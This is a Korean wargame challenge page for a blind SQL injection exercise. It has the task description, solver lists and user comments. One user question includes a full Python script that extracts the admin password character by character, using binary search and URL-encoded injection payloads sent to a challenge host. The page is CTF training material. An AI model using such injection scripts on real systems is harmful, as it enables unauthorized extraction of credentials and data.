LEVEL 2

blind sql injection advanced

web
  • 문제 정보
  • 풀이 41
  • 난이도 투표 68
  • 질문 10
  • 최근 풀이자 1072
  • 댓글 31

문제 설명

Description

Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다.
관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다.

문제 수정 내역

2023.07.20 Dockerfile 제공

출제자 정보

avatar
Dreamhack
대표 업적 없음

First Blood!

avatar
as3617
워게임 고인물
출제된 지 32분 만에 풀이 완료!

난이도 투표 68

질문 10

문제 풀이에 어려움이 있으신가요?
커뮤니티에서 문제에 대한 질문하고 답변 얻기
이진탐색이 안되는 이유좀 설명해주세요
import os import requests URL = "http://host3.dreamhack.games:17636/?uid=" def binary_search(arr,n): low, high = 0, len(arr) - 1 while low <= high: mid = (low + high) // 2 mid_value = arr[mid] BIG = Big(Payload(n,mid_value),mid_value) if Big("%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29={}%23".format(n,mid_value),mid_value): return (chr(arr[low])) elif not BIG: low = mid + 1 # 중간값이 타겟보다 작으면 오른쪽 반을 탐색 else: high = mid - 1 # 중간값이 타겟보다 크면 왼쪽 반을 탐색 return "" # low 반환 def Payload(n,i): return "%7D%27+or+uid%3D%27admin%27+and+ascii%28substr%28upw%2C{}%2C1%29%29<{}%23".format(n,i) def Big(PAYLOAD,i): global URL,answer print("Payload : ",answer+chr(i)) res=requests.get(URL+PAYLOAD,"") if "exist" in (res.text): return True else: return False answer='' for n in range(1,30): if Big(Payload(n,126),126): ans = binary_search(range(32,127),n) elif Big(Payload(n,50813),50813): ans = binary_search(range(44032,50813),n) answer+=ans print("FLAG : "+answer) 조잡하게 보이실 수 있는데.. 이진탐색으로 blind-sql injection하는 코드입니다. DH{ 까지는 잘 나오는데, 한글부터 안나옵니다. 그래서 혹시 한글이 아닌가 해서 코드로 해당 문자의 범위를 찾아봤는데, 한글보다 작고 아스키코드보다 큰 범위로 나왔습니다. 뭐가 잘못된걸까요..?
돈이되고싶은굳

최근 풀이자 1072

avatar
jjhjh
대표 업적 없음
inca
대표 업적 없음
krrr
Open Beta Tester
Jino
대표 업적 없음
Game0v3r
대표 업적 없음
빅와이셔츠
대표 업적 없음
avatar
Noooflag?
대표 업적 없음
junehyung.kim
대표 업적 없음
avatar
고크
대표 업적 없음
avatar
apman
대표 업적 없음

댓글 31

avatar
ru__ff_y
대표 업적 없음
파이썬의 requests 모듈을 유용하게 써볼 기회였습니다.
O_F
대표 업적 없음
좋습니다.
avatar
BMC
워게임: 50
풀면 뿌듯한 문제네요 ㅎㅎ..
avatar
!보라매
워게임 고인물
이것이드림핵?!?!?
l000wk3y
공부벌레
좋은 문제네요
고블빈
대표 업적 없음
UTF-8... 코딩을 못해서 노가다... 슬프다
whoamiii
대표 업적 없음
배우지 않으면 절대 못풀 문제...ㅎ
avatar
엑슨
워게임 고인물
이걸 혼자 풀다니!!! 감격스럽다
avatar
사용자
CTF Second Place
좋은 문제입니다~
님이슈
대표 업적 없음
열받아요,,,